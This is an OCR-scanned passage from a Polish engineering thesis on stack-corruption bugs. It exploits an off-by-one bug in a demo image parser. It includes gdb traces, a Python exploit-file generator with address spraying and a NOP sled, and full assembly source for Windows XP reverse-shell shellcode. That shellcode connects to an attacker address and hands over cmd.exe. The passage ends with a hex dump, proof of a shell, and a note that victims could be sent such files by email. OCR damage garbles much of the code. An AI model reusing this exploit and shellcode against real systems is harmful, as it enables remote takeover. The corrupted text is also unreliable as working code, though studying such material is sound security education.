0x401478 <parselImage+l>: mov ebp, esp
0x40147a <parselImage+3>: sub esp, 0x418
0x401480 <parseImage+9>: mov eax, DNORD PTR [ebp+0xc]
(gdb) x/xw S$esp
O0x22faec: 0x004014d1
(gdb) ni
Cannot access memory at address 0x224246
(gdb) x/51 $eip
=> 0x4014d1 <parseImage+90>: add esp, 0x10
0x4014d4 <parselImage+93>: leave
0x4014d5 <parselImage+94>: ret
0x4014d6 <parseFile>: push ebp
0x4014d7 <parseFile+l1>: mov ebp, esp
(gdb) x/8xw $esp
0x22faf0: 0x0022fb10 0x00224242 0x00224242 0x77c44242
0x22fb00: 0x0000049c 0x0069005¢c 0x007a006e 0x006£0400
(gdb) ni
67 }
2: x/16xw $ebp-32
0x224222: <error: Cannot access memory at address 0x224222>

1: x/5i $eip

=> 0x4014d4 <parselmage+93>: leave
0x4014d5 <parselImage+94>: ret
0x4014d6 <parseFile>: push ebp
0x4014d7 <parseFile+l>: mov ebp, esp
0x4014d9 <parseFile+3>: sub esp, 0x18

(gdb)
ebp
(gdb)

i r S$ebp
0x224242 0x224242
ni

Program received signal SIGSEGV,
parselmage (
file=<error reading variable:
file@entry=<error reading variable:

Segmentation fault.

Cannot access memory at address 0x22424a>,
Cannot access memory at address 0x224246
>I

fileSize=<error reading variable: Cannot access memory at address 0x223e36>)

at pixie.c:67

67 }
2: x/16xw $ebp-32
0x224222: <error: Cannot access memory at address 0x224222>
1: x/5i $eip
=> 0x4014d4 <parselImage+93>: leave
0x4014d5 <parselmage+94>: ret
0x4014d6 <parseFile>: push ebp
0x4014d7 <parseFile+l1>: mov ebp, esp
0x4014d9 <parseFile+3>: sub esp, 0x18
(gdb)

Aby zatem wykorzystaé te obserwacje, bedziemy musieli okre§li¢ w ramach pola
palletsInitValue w pliku wejsciowym takg wartos¢, ktora efektywnie nadpisze wskaznik
poprzedniej ramki funkcji. Jednoczes$nie bede cheiat uzyskac¢ nastepnie pewien bufor, ktory zostanie
potraktowany jako szczyt stosu i bedzie zawiera¢ pod nastgpnym podwojnym stowem poprawny
adres powrotu. Z uwagi na to, ze atakujgc program nie moge polega¢ na doktadnej wartosci adresu
ramki EBP, ani tez adresu powrotu i nim podobnych, jednak z uwagi na architekture systemu
operacyjnego Windows XP SP1 (bez AsLRa, o tym pdzniej) moge przypuszczac, ze plik zatadowany
zostanie pod mniej wigcej zakres 0x22FA00-0x22FC00. Wobec tego, warto by ustali¢ szczyt stosu
w epilogu funkcji parseImage na kontrolowany przeze mnie bufor, a wigc ktory$ z adresow z
podanego przedziatu. Pod docelowym adresem umieszczony zostanie NOP Sled aby skutecznie
sprowadzi¢ procesor na poczatek kodu powtoki. Taka decyzja znow podyktowana jest faktem, ze
skoro atakujacy (w tym przypadku ja) nie zna adresu poczatku wezytanego pliku z kontrolowanym
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wejsciem, to w efekcie rowniez nie zna poczatku adresu kodu powtoki. Jednakze, nie zna tez adresu
pod ktorym rozpocznie si¢ NOP Sled. Aby zatem upora¢ si¢ z tymi problemami, wygenerowany
zostanie taki plik wejsciowy, ktory bedzie przestrzegat nastepujacej struktury:

‘ PIXT ‘ \x22\x00\x20\xfb \xfa\xfb\22\00. .. \x28\xfc\x22\x00 90909090 . . . 90909090 Kod powioki
«—re = > < >+ =
4 bajty 4 bajty 188 bajtéw 160 bajtéw dhugosé zaletna od kodu powloki
magic palletsInitValue adresy NOP Sleda (spray'owane) HOP SLED

Rysunek 3.13. Struktura pliku exploita. Zrédlo: opracowanie wlasne.

Rysunek 3.13. przedstawia przyktadowa strukture pliku exploita, ktory bedzie miat za zadanie
naduzy¢ znaleziong podatno$¢. Na poczatku warto$¢ magiczna, pozniej specjalnie przygotowana
warto$¢ palletsInitValue ulozona tak, by jej poczatkowe dwa bajty (0x22, 0x00) nadpisywaly
dwa gorne bajty wskaznikéw na stosie odpowiednim adresem, zapobiegajac w ten sposdb crashu
programu i umozliwiajgc proste opuszczenie funkcji parsePallets. Nastgpnie znajdywac sie beda
rozsiane (w terminologii branzowej: spray ‘'owane) adresy potencjalnego poczatku NOP Sleda. Region
ten moze zawiera¢ roéwnie dobrze powielony jaki$ przyktadowy adres jak np. 0x0022FC10, ktory
nalezalo by mie¢ nadzieje, ze bedzie trafial do NOP Sleda, lub réwnie dobrze mozemy rozsia¢ rozne
adresy o pewnym odchyleniu w stron¢ ujemna i dodatnia, dodajac przy tym pewna losowos¢
odnalezienia NOP Sleda. W celu wygenerowania takiego pliku exploita przygotowano nast¢pujacy
program:

import struct

EBP = 0x0022FB20

magic = struct.pack('>1', 0x50495849)

initValue = struct.pack('<HH', ((EBP & OxFFFF0000) >> 16), (EBP & OxFFFF))
output = "'

file = 'output.pixi'
print "[+] Writing to '%s' file." & file

f = open(file, "wb")

quanity = 53

addr = "0x%08X" % (EBP + 0x100)
addr0 = addr
addrl = addr

# Specifies whether to spray exact addresses or
# to spray them ranging

exact = 0
if exact == 0:
addr0 = "%08X" % int(int(addr, 16)-0.8*quanity)
addrl = "%08X" % int (int(addr, 16)+2.0*quanity)
if exact == 0:

print "[+] Spraying from 0x%08X to 0x%08X" % \
(int (addr0, 16), int(addr0, 16)+quanity )
else:

print "[+] Generating %d bytes long buffer with 0x%s addresses" % \
(quanity*4, addr.upper() )

f.write (magic)
f.write (initValue)

for i in range (0, quanity):
a = "$08X" % (int(addr0, 16) + 1)
le = struct.pack("<L", int(a, 16)) # big-endian unsigned long

f.write(le)
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# Generating NOP Sled
nops = 165
f.write ("\x90" * nops)

# Appending shellcode

g = open('shellcode.bin', 'rb')
f.write(g.read())
g.close ()

size = f.tell()
f.close()

)

print "[+] Done. Generated %d bytes." % size

Listing 3.28. Kod programu exploit.py, generujacego preparowany ztosliwy plik. Zrédlo: opracowanie
wlasne.

Program przedstawiony na listingu 3.28 implementuje funkcje wygenerowania ztosliwego pliku
wejsciowego dla programu PIXIE, ktorego bedg atakowac. Celem tego programu jest najpierw
wypetienie podstawowych pol struktury pliku, pdzniej rozsianie adres6w potencjalnego poczatku
NOP Sleda, nastgpnie rozsianie rozkazow NOP i ostatecznie wczytanie zewngetrznego pliku z kodem
powloki i dotaczenie go do pliku wyjsciowego dla programu PIXIE.

3.5. Kod powloki dla systemu Windows

Problem przygotowania kodu powloki na system MS Windows jest znacznie trudniejszym
problemem niz w przypadku systemu Linux. Ma to swoje uzasadnienie w koniecznos$ci recznego i
dynamicznego wyszukiwania adresow interesujacych funkcji systemowych, ktore bedzie mogt 6w
kod powtoki wykorzysta¢ podczas swojego wykonania. System Windows nie udostepnia przerwania
podobnego do int 0x80, wobec tego nie ma prostego interfejsu wywotywania funkcji z poziomu
assemblera. Ponizej, na listingu 3.29., przedstawiony zostat przygotowany na potrzeby tej pracy kod
powloki dla systemu Windows XP, probujacy zaadresowaé problemy tej platformy.

1

2 ; Active Network-binding shellcode for all versions of MS Windows.
3 This shellcode connects to the remote machine in order to
4 let the attacker control of a seized computer.
5
6 Preparations:

7 ; - set your’s machine IP address DWORD in VARIABLES AREA (under main)
8 - open specified port on your machine
9

10 Some concepts based on LSD-pl.net team ideas

11 ; Mariusz Banach, 2010.

12

13  [bits 32]

14

15

16 e VARIABLES AREA -—-———————-—

17 ; REMEMBER TO ENCODE THIS SHELLCODE, from this

18 ; point up to the end and then prepend it with decryption

19 ; routine.

20

21

22 %define ATTACKERS IP db 0xc0O, 0xa8, 0x00, 0x0Oe

23 ; default: 192.168.0.14

24 %define ATTACKERS PORTdb 0x15, 0xB3

25 ; default: 5555

26

27 e

28
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29

30 S%macro GetProc 1-2 1

31 call %$%p

32 db %1, O

33 $%p:

34 $if %2 ==

35 push dword [ebp] ; use kernel32.dll module handle
36 Selif %2 ==

37 push dword [ebp-4] ; use ws2 32.dll module handle
38 Sendif

39 call dword [ebp-8]

40 %endmacro

41

42

43 ;

44 section .text

45

46  start:

47 ; Shellcode's stack frame:

48 ; EBP - kernel32 handle

49 ; EBP-4 - ws2 32 handle

50 $define GetProcAddress EBP-0x08
51 $define LoadLibraryA EBP-0x0c
52 $define CreateProcessA EBP-0x10
53 $define GetSystemDirectoryA EBP-0x14
54 $define ExitProcess EBP-0x18
55 $define WSASocketA EBP-0x1C
56 %$define connect EBP-0x20
57 $define WSAStartup EBP-0x24
58 %define hSocket EBP-0x28
59 ; system directory buffer up to EBP-0x2e
60 $define SystemDirBuf EBP-0x60
61 ; STARTUPINFO structure buffer up to EBP-0x62
62 $define StartInfo EBP-0xB6
63 ; WSAData structure up to EBP-0xBS8

64 $define WSAData EBP-0x168
65 ; PROCESS INFORMATION structure up to EBP-0x188
66 $define ProcessInfo EBP-0x198
67

68 ;

69  main:

70

71 ; offset relative to ESP from which stack will be used
72 $define STACK OFFSET 0x1000

73

74 ; Setting and zeroing stack area

75

76 sub esp, STACK OFFSET

77 mov ebp, esp

78 mov ecx, 0x200

79 add ebp, ecx

80 Xor eax, eax

81 mov edi, esp

82 cld

83 rep stosd

84

85 ; Phase 1 - Initalise shellcode's environment
86 ; Stage A: GetProcAddress, LoadLibraryA,
87 ; LoadLibraryA ("ws2 32.d11")
88 call _GPAandLL

89 test ebx, ebx

90 je error

91

92 mov [ebp]l, ebx

93 mov [GetProcAddress], ecx

94 mov [LoadLibraryA], edx

95

96 call !

97 db "ws2 32.d11",0

98 _a:

99 call [ebp-0x0c]
100 test eax, eax
101 je error
102

103 mov [ebp-4], eax



104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
lel
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178

; Stage B: Locate rest of needed procedures
; kernel32

GetProc "CreateProcessA"

mov [CreateProcessA], eax

GetProc "GetSystemDirectoryA"

mov [GetSystemDirectoryA], eax

GetProc "ExitProcess"

mov [ExitProcess], eax

; ws2 32

GetProc "WSASocketA", 2
mov [WSASocketA], eax
GetProc "connect", 2

mov [connect], eax
GetProc "WSAStartup", 2
mov [WSAStartup], eax

; Phase 2: Initialising WINSOCK interface and
; connecting to the attacker's machine

lea ebx, [WSADatal]
push dword ebx
push dword 0x202

call [WSAStartup]

xXor eax, eax

push eax

push eax

push eax

push eax

inc eax

push eax ; SOCK STREAM
inc eax

push eax ; AF_INET
call [WSASocketA]

test eax, eax

je error

mov [hSocket], eax

call ~nextl

~_sockaddr:

dw 0x0002 ; sin family
ATTACKERS PORT ; sin port
ATTACKERS_TIP ; sin_addr

dd 0 ; sin zero

dd 0

_nextl:

pop ebx

push 0x10

push ebx

push eax

call [connect]

test eax, eax

jne _nextl ; try to connect in a loop
; Phase 3: Prepare shellcode's structures, variables,

; and create shell

; Stage A: Prepare CMD path

push 50

lea ebx, [SystemDirBuf]
push ebx

call [GetSystemDirectoryA]
test eax, eax

Jje error

call ~cmd

db "\cmd.exe", 0

_cmd:

pop esi

buffers
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179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253

lea
add
mov
cld
rep

; Stage
lea
push
XOor
XOor
mov
rep
pop
mov
mov
mov

mov
mov
mov
mov
mov

mov
lea
push
xXor
push
push
mov
push
push
Xor
push
push
push
lea
nop
push
push
call
jmp
nop

edi, [SystemDirBuf]
edi, eax
ecx, 8

movsb

B: create SHELL process
edi, [StartInfo]

edi

ecx, ecx

eax, eax

cl, 0x54

stosb

edi

al, 0x44

[ebp-0xD6], eax
ebx, [hSocket]

dword [edi+0x38], ebx
dword [edi+0x3c], ebx
dword [edi+0x40], ebx
dword [edi+0x44], ebx
cx, 0x0101

word [edi+0x2c], cx
eax, [ProcessInfo]
eax

eax, eax

edi

eax

ecx, 0x20

eax

ecx

cl, 0x21

ecx

eax

eax

ecx, [SystemDirBuf]

ecx
eax

[CreateProcessA]
error

initalizing STARTUPINFO

socket handle
hStdInput

hStdOutput

hStdError

STARTEF USESHOWWINDOW

| STARTEF USESTDHANDLES
ProcessInfo

StartupInfo

NORMAL_ PRIORITY CLASS

bInheritHandles = true

lpCommandLine

; GetProcAddress & LoadLibraryA locating routine.
; It locates mentioned procedures addresses and returns:
EBX - kernel32 image base

nop
~ GPAandLL:
cld
mov
mov
mov

ECX - GetProcAddress
EDX - LoadLibraryA

edx, [fs:0x30]
edx, [edx+0x0C]
edx, [edx+0x14]

’
’

’

PEB
PEB.Ldr

PEB.Ldr.InLoadOrderModuleList

; Locating kernel32.dll by hashing module name values
~a GPAandLL:

mov esi, [edx+0x28] ; LDR MODULE.szImageName
XOor ecx, ecx
mov cl, 0x18
Xor edi, edi
b GPAandLL:
Xor eax, eax
lodsb
cmp al, 0x61
jl _c_GPAandLL
sub al, 0x20

_ ¢ GPAandLL:
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254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320

ror edi, 0xO0D
add edi, eax
loop b GPAandLL
cmp edi, Ox6A4ABCS5B ; kernel32.dll hash
mov ebx, [edx+0x10] ; LDR_MODULE.ImageBase
mov edx, [edx]
jnz _a_ GPAandLL
mov edx, [ebx+0x3C] ; DOSHdAr.e lfanew
add edx, ebx ; EBX = ImageBase
push dword [edx+0x34] ; OptionalHeader.ImageBase
mov edx, [edx+0x78] ; EXPORT Directory RVA
add edx, ebx
mov esi, [edx+0x20] ; ExportDir.NamePtrTable
add esi, ebx
Xor ecx, ecx
~d GPAandLL:
inc ecx
lodsd
add eax, ebx
cmp dword [eax], 0x50746547 ; GetP
jnz ~d GPAandLL
cmp dword [eax+4], 0x41636F72 ; TOocA
jnz ~d GPAandLL
cmp dword [eax+8], 0x65726464 ; ddre
jnz ~d GPAandLL
dec ecx ; ECX = function index
mov esi, [edx+0x24] ; ExportDir.OrdinalTable
add esi, ebx
mov cx, [esitecx*2] ; CX = Ordinal Value
mov esi, [edx+0x1C] ; ExportDir.AddressPtrTable
add esi, ebx
mov edx, [esitecx*4] ; Address of function
add edx, ebx
push edx
call  GPAandLL LL
db "LoadLibraryA", 0
_GPRandLL_LL:
push ebx
call edx
mov edx, eax
pop ecx
pop ebx
Xor eax, eax
ret

error:

; If ExitProcess has been located - call it.
; There is no chance to revive current process to
; 1ts execution flow because we have damaged
; it's stack so process will most likely crash when
; we return to its context.
mov eax, dword [ExitProcess]
test eax, eax
je .ret
push 0
call eax
.ret:
ret

Listing 3.29. Kod powloki nawigzujgcej zwrotne polgczenie, dla systemu Windows. Zrédlo: opracowanie

wlasne.

Kod z listingu 3.29. zawiera kompletng posta¢ shellcode’'u dla systemu Windows, ktory ma za
zadanie nawigza¢ polaczenie zwrotne z maszyng atakujgcego, a nast¢pnie przekaza¢ mu dostgp do
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powloki systemowej w kontekscie obecnie zalogowanego uzytkownika. Funkcjonalno$¢ tego kodu
powloki jest zblizona do tego z podrozdziatu o kodach powtoki dla systemow linuksowych. Roznicg
jest wlasnie dodatkowy kod majacy za zadanie uzyska¢ adresy niezbednych funkcji, zatadowac
biblioteke funkcji sieciowych (ws2 32.d11) do przestrzeni procesu i ostatecznie wykonaé calg
funkcjonalno$¢ nawigzywania zwrotnego potaczenia.

Na poczatku w liniach 22. i 24. Zadeklarowane sa definicje stanowigce ustanowiony adres
zwrotnej maszyny atakujgcego oraz port na jego maszynie, na ktérym bedzie nastuchiwat
przychodzacego potaczenia. Nastepnie w liniach 30-40 zawarte jest proste makro, ktore zaleznie od
wykonania b¢dzie wywotywato funkcj¢ GetProcAddress z odpowiednio ustawionym pierwszym
parametrem, bedacym uchwytem do biblioteki, z ktorej funkcja ta ma wyszukiwac oczekiwanej
procedury.

FARPROC WINAPI GetProcAddress (
_In_ HMODULE hModule,
~In LPCSTR lpProcName

)

Funkcja GetProcAddress stanowi metode z biblioteki kerne132.d11, ktorej zadaniem jest
przeszukanie tablicy eksportow zatadowanej w przestrzeni procesu biblioteki, ktérej uchwyt
przekazany zostal w pierwszym parametrze. Procedura ta bedzie wyszukiwaé eksportowanego
symbolu o nazwie okreslonej w drugim parametrze. W celu zaladowania biblioteki DLL do
przestrzeni procesu, wykorzystuje si¢ procedur¢ LoadLibrary:

HMODULE WINAPI LoadLibrary(
_In LPCTSTR lpFileName
)7

Funkcja ta, w wersji LoadLibraryA — przyjmuje jako swoj jedyny parametr cigg znakow
(ASCID), ktory stanowi nazwe biblioteki do zatadowania. System podczas jej wykonywania wykona
przeszukiwanie pewnego zbioru $ciezek (katalog obecnie wykonywanej aplikacji, katalogi ze
zmiennej srodowiskowej $PATHS, Katalog C:\Windows, katalog C:\Windows\system32, itp.) i
jesli znajdzie bibliotekg o zadanej nazwie, dynamicznie zataduje ja do pamigci wirtualnej procesu.
Po powrocie zwrdcony zostanie uchwyt do tej biblioteki (tak naprawde adres pierwszego jej bajtu w
przestrzeni procesu). W ramach etykiety start okreslone zostato kilka definicji, ktore beda stuzyty
do adresowania poszczegbélnych obiektow na lokalnie zaalokowanej strukturze na stosie. Poprzez
indeksacje wzgledem EBP, kod powloki bedzie odwotywaé sie do pol tj. adres funkcji
GetProcAddress, LoadLibraryAa, CreateProcessa, ..., Uchwyt do stworzonego socketu, bufor
na $ciezke systemowa, bufor na struktur¢ opisujaca utworzony proces, itd. Od etykiety main
zaczyna si¢ wlasciwy kod powloki. Nastepuje alokacja przestrzeni na potrzeby lokalnych zmiennych
i program wywotuje funkcje GPandLL opisana w liniach 225-305. Funkcja ta bgdzie miata za
zadanie odnalez¢ adresy procedur GetProcAddress | LoadLibraryA wykorzystujac w tym celu
parsowanie struktur systemowych tj. PEB (Process Environment Block), LDR MODULE,
IMAGE DOS HEADER, tablice eksportow biblioteki kernel132.d11 itd. Odbywa si¢ to poprzez
pobranie adresu struktury PEB za pomoca adresu [fs:0x30] . Nastepnie pole pod przesunigciem
0x0C okresla obiekt Ldr, ktory dalej przechowuje adres listy jednokierunkowej o nazwie
InLoadOrderModulelList. Lista ta opisuje moduly zaladowane w kolejnosci tadowania przez
system operacyjny. Kazdy taki obiekt, pod przesunigciem 0x28 zawiera zmienng o nazwie
szImageName, ktora opisuje nazw¢ danego modutu, np. kernel32.d11. Wyszukiwana bedzie
wlasnie biblioteka kernel132 gdyz to ona eksportuje poszukiwane funkcje. Najpierw znajdywany
jest adres bazowy modutu tejze biblioteki, nastepnie przetwarzane sg nagléwki formatu PE EXE, by
uzyska¢ adres tablicy eksportow. Majac tablice eksportow, wyszukiwana jest nazwa
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GetProcAddress poprzez iterowanie po tablicy nazw funkcji. Ostatecznie wytuskiwany jest adres
tej funkcji i za jej pomoca ustalany adres drugiej niezbgdnej czyli LoadLibrarya. Tak uzyskane
adresy zwracane sg W stosownych rejestrach. Po powrocie wykorzystywane beda pozyskane adresy
funkcji do zatadowania biblioteki ws2 32.d11 eksportujacej interfejs obstugi sieci. Dalej nastepuje
wywotanie makra Get Proc kilka razy w celu pozyskania adresow innych niezbgdnych procedur, t;.
CreateProcessA. W drugiej fazie kodu powtoki, zaczynajacej si¢ od linii 127. program przechodzi
do inicjalizacji biblioteki sieciowej i utworzenia socket u. Tworzona i wypeliana jest przy tym
struktura sockaddr oraz wywotywana jest funkcja connect. Gdy ta si¢ powiedzie i nawigzane
zostanie polaczenie z komputerem atakujacego, to kod zaczynajacy si¢ od linii 168. pobierze adres
katalogu systemowego (C:\Windows\system32), a nastgpnie doklejony do niego zostanie Suffix
»\cmd.exe” Co razem utworzy $ciezke do linii polecen systemu. Tak utworzona $ciezka zostanie
wykorzystana podczas wywotania CreateProcessA znajdujgcego si¢ w linii 220. Wywotanie to
zostanie uzupelnione o ustawienie uchwytow standardowych strumieni (wejscia, wyjscia i btedu —
linie 197-200) co pozwoli na przekazywanie danych poprzez socket. Ostatecznie program kieruje si¢
do funkcji error, ktora bezawaryjnie zakonczy dziatanie kodu powtoki.

Ostatecznie, plik wejsciowy zawierajacy kompletny exploit wykorzystujacy btad off-by-one,
W prezentowanym programie - wygenerowany i przedstawiony zostat na listingu 3.30.:

:\college\inz\wxp> python exploit.py

] Writing to 'output.pixi' file.

] Spraying from O0x0022FBF5 to 0x0022FC2A
]

D
[
[
[ Done. Generated 1024 bytes.

+
+
+

D:\college\inz\wxp> xxd output.pixi

0000000: 5049 5849 2200 20fb f5fb 2200 f£6fb 2200 PIXI". ..."...".
0000010: £7fb 2200 £8fb 2200 £f9fb 2200 fafb 2200 .."..."..."...".
0000020: fbfb 2200 fcfb 2200 fdfb 2200 fefb 2200 .."..."..."...".
0000030: f£ffb 2200 00fc 2200 0l1fc 2200 02fc 2200 .."..."..."...".
0000040: 03fc 2200 04fc 2200 05fc 2200 06fc 2200 .."..."..."...".
0000050: 07fc 2200 08fc 2200 09fc 2200 Oafc 2200 .."..."..."...".
0000060: Obfc 2200 Ocfc 2200 0dfc 2200 Oefc 2200 .."..."..."...".
0000070: Offc 2200 10fc 2200 11fc 2200 12fc 2200 .."..."..."...".
0000080: 13fc 2200 14fc 2200 15fc 2200 16fc 2200 .."..."..."...".
0000090: 17fc 2200 18fc 2200 19fc 2200 lafc 2200 .."..."..."...".
00000a0: 1bfc 2200 lcfc 2200 1dfc 2200 lefc 2200 .."..."..."...".
00000b0: 1ffc 2200 20fc 2200 21fc 2200 22fc 2200 ..". .".t.".".".
00000c0: 23fc 2200 24fc 2200 25fc 2200 26fc 2200 #.".$.".%.".&.".
00000d0: 27fc 2200 28fc 2200 29fc 2200 9090 9090 '.".(.".).".....
00000e0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000£0: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000100: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000110: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000120: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000130: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000140: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000150: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000160: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000170: 9090 9090 9090 9090 9090 9090 9090 9090 ................
0000180: 9081 ecO00 1000 0089 e5b9 0002 0000 Oled ................
0000190: 31cO0 89e7 fcf3 abe8 a60l1 0000 85db 0£f84 1...............
00001a0: 4902 0000 895d 0089 4df8 8955 f4e8 0b00 I....]..M..U....
00001b0: 0000 7773 325f 3332 2e64 6c6c 00ff 55f4 ..ws2_32.d11..U.
00001c0: 85c0O0 0£84 2502 0000 8945 fce8 0£f00 0000 ....%....E......
00001d0: 4372 6561 7465 5072 6£63 6573 7341 00ff CreateProcessA..
00001e0: 7500 ££55 £889 45f0 e814 0000 0047 6574 wu..U..E...... Get
00001£0: 5379 7374 656d 4469 7265 6374 6£72 7941 SystemDirectoryA
0000200: OOff 7500 ££55 £889 45ec e80c 0000 0045 ..u..U..E...... E
0000210: 7869 7450 726f 6365 7373 00ff 7500 f£f55 xitProcess..u..U
0000220: £889 45e8 e80b 0000 0057 5341 536f 636b ..E...... WSASock
0000230: 6574 4100 ££75 fcff 55f8 8945 ed4e8 0800 etA..u..U..E....
0000240: 0000 636f 6eb6e 6563 7400 ££f75 fcff 55f8 ..connect..u..U.

88



0000250: 8945 e0e8 0b0O0 0000 5753 4153 7461 7274 .E...... WSAStart
0000260: 7570 00ff 75fc ££55 £889 45dc 8d9%d 98fe wup..u..U..E.....

0000270: ffff 5368 0202 0000 ££f55 dc31 c050 5050 ..Sh..... U.1l.PPP
0000280: 5040 5040 50ff 55e4 85c0 0£84 5401 0000 PQRPEP.U..... 1...
0000290: 8945 d8e8 1000 0000 0200 15b3 cOa8 000e .E..............
00002a0: 0000 0000 0000 0000 5b68 1000 0000 5350 ........ [h....SP
00002b0: f£f55 e085 cO00f 85ed ffff ££68 3200 0000 .U......... h2...
00002c0: 8d5d a053 f£f55 ec85 c00f 84le 0100 00e8 .]1.S.U..........
00002d0: 0900 0000 5c63 6464 2e65 7865 005e 8d7d ....\cmd.exe.”.}
00002e0: a001 c7b9 0800 0000 fcf3 ad48d bdda ffff ............. J..
00002£0: ££57 31c9 31c0 bl54 f3aa 5fb0 4489 852a .W1.1l..T.._.D..*
0000300: ffff f£f8b 5dd8 895f 3889 5f3c 895f 4089 ....].. 8. <. Q.

0000310: 5f44 66b9 0101 6689 4f2c 8d85 68fe ffff Df...f.0,..h...
0000320: 5031 c057 50b9 2000 0000 5051 80f1 2151 Pl.WP. ...PQ..!Q
0000330: 5050 8d4d a090 5150 f££55 £0e9 ad00 0000 PP.M..QP.U......

0000340: 9090 fc64 8bl5 3000 0000 8b52 0c8b 5214 ...d..0....R..R.
0000350: 8b72 2831 c9bl 1831 ££f31 clac 3c6l 0f8c .r(l...1.1..<a..
0000360: 0200 0000 2c20 clcf 0401l c7e2 ec81 £ff5b ...., ......... [
0000370: bcd4a 6a8b 5al0 8bl2 0f85 d2ff ffff 8b53 .Jj.Z.......... S

0000380: 3c0l1 daff 7234 8b52 7801 da8b 7220 0Olde <...r4.Rx...r ..
0000390: 31c9 4lad 01d8 8138 4765 7450 0£85 fO0ff 1.A....8GetP....

00003a0: ffff 8178 0472 6£63 410f 85e3 ffff £f81 ...xX.rocA.......
00003b0: 7808 6464 7265 0£f85 d6ff ffff 498b 7224 x.ddre...... I.r$
00003c0: Olde 668b Ocde 8b72 1c0l1l de8b 148e Olda ..f..N.r........
00003d0: 52e8 0400 0000 4c6f 6164 4c69 6272 6172 R..... LoadLibrar
00003e0: 7941 0053 f£fd2 89c2 595b 31cO0 c38b 45e8 yA.S....Y[1l...E.
00003£f0: 85c0 0£f84 0700 0000 6800 0000 OOff dOc3 ........ h.......

Listing 3.30. Zrzut szesnastkowy pliku z exploitem. Zrédlo: opracowanie wlasne.

Kodu powtoki podczas generowania pliku nie ma potrzebu tym razem poddawac filtracji, z uwagi
na to, ze nie bedzie tutaj wywotania zadnej funkcji operajacej na ciggach znakowych, ktore musza
si¢ de facto konczy¢ bajtem zerowym.

INDOWS\System 32\cmd.exe

IC:ninz>uer
Microsoft Windows XP [Mersja 5.1.26841
IC:ninz>ipconfig

Honfiguracja IP systemu Windous

[Harta Ethernet Polaczenie lokalne:

Sufiks DNS konkretnego polaczenia : localdomain
Adres 1P : 192.168.0.129

Maska podsieci. . . . . - . = 255_255.255.8
2 192.168.0.1

Brama domy$lna

e the mouse pointer inside or press Ctrl+G.

Rysunek 3.14. Zdjecie potwierdzajgce dokonanie ataku. Po lewej stronie maszyna ofiary, po prawej konsola
atakujgcego. Zrodto: opracowanie wiasne.
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Rysunek 3.14. ostatecznie pokazuje wynik dziatania exploita. Najpierw po prawej stronie zdjecia,
w konsoli atakujacego wyswietlono wersje systemu oraz interfejsy z numerami [P. Nastepnie
zestawiono serwer nastuchujacy na potaczenia na porcie 5555. W drugiej kolejnosci, po lewej stronie
zdjecia w maszynie ofiary, uzytkownik uruchomit program PIXIE z podanym plikiem
output.pixi. W efekcie uruchomiona zostata powloka i nawigzane potaczenie postuzyto do
obstugi tejze powloki. Po prawej stronie zdjecia, w terminalu atakujacego - NetCat odnotowat
nadchodzace polaczenie i wyswietlit znak zachegty wprowadzania polecen tym razem juz w konsoli
systemu ofiary.

Ostatecznie atak si¢ powiddt dzieki temu, ze ofiara otworzyla dostarczony jej plik. Taki plik
mozna by ofierze podesta¢ czy to droga mailowa, czy komunikatorem internetowym lub poprzez
portal spoteczno$ciowy. Wiedzac, jaka wersja oprogramowania klienckiego ofiara si¢ postuguje,
mozna by naduzy¢ odkryte dotad luki lub wykorzysta¢ nowe, nieznane dotad. Scenariusze takie maja
bardzo czgsto znaczenie w przypadku prowadzenia kampanii socjotechnicznych, w ramach ktorych
atakujacy podsytaja ofiarom specjalnie spreparowane pliki PDF lub pliki pakietu Microsoft Office,
ktore to wykorzystuja, odkryte w oprogramowaniu parsujagcym dany plik, podatnosci i naduzywaja
je w celu przejecia kontroli nad maszyng ofiary. Przykladowy kod przedstawiony w tym
podrozdziale stanowi wys$mienity przyktad probleméw z jakimi borykajg si¢ parsery réznych
formatow czy to multimedialnych czy wszelakich innych. Wszedzie tam gdzie nastgpuje
przetwarzanie danych pochodzacych z niezaufanego zrodla, wystepuje duze prawdopodobienstwo,
ze co$ w parserze pdjdzie nie tak.
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3.6. Podsumowanie

W tym rozdziale przedstawiono podstawowe btedy naruszajace strukture stosu. Btedami tymi
byly przepetnienie bufora, btad off-by-one oraz btad integer overflow. Ostatni z tych btedéw nie
dotyczy stricte tylko stosu, czgéciej zas spotykany jest w przypadku btedéw naruszen sterty. W tym
jednak przypadku wystapil on rowniez w programie korzystajacym ze stosu co mogto efektywnie
doprowadzi¢ do ataku na aplikacje poprzez wlasnie naruszenie stosu. Btedy omdéwione w tym
rozdziale stanowia fundamenty dla wszelakich atakéw na oprogramowanie, z uwagi na ich
historyczny zarys oraz solidng podstawe jaka stanowig dla pochodnych klas bledow. Wszelakie
naduzycia zwigzane ze stosem najczesciej sprowadzaja si¢ do bledow omowionych w tym
podrozdziale. Warto wspomnie¢, ze pomimo iz wprowadzono wiele roznych zabezpieczen
przeciwdziatajacych naruszeniom stosu, to i tak w dzisiejszych, bardzo powaznych produktach
komercyjnych, bledy te nadal wystepuja, narazajac przy tym komputery osobiste i serwery na ryzyko
ataku.

Za przyktad $wiezych i powaznych podatnosci bezpieczenstwa zwigzanych z naruszeniem
struktury stosu moze stuzy¢ blagd cvE-2014-6567' — blad typu Stack-Based Buffer Overflow w
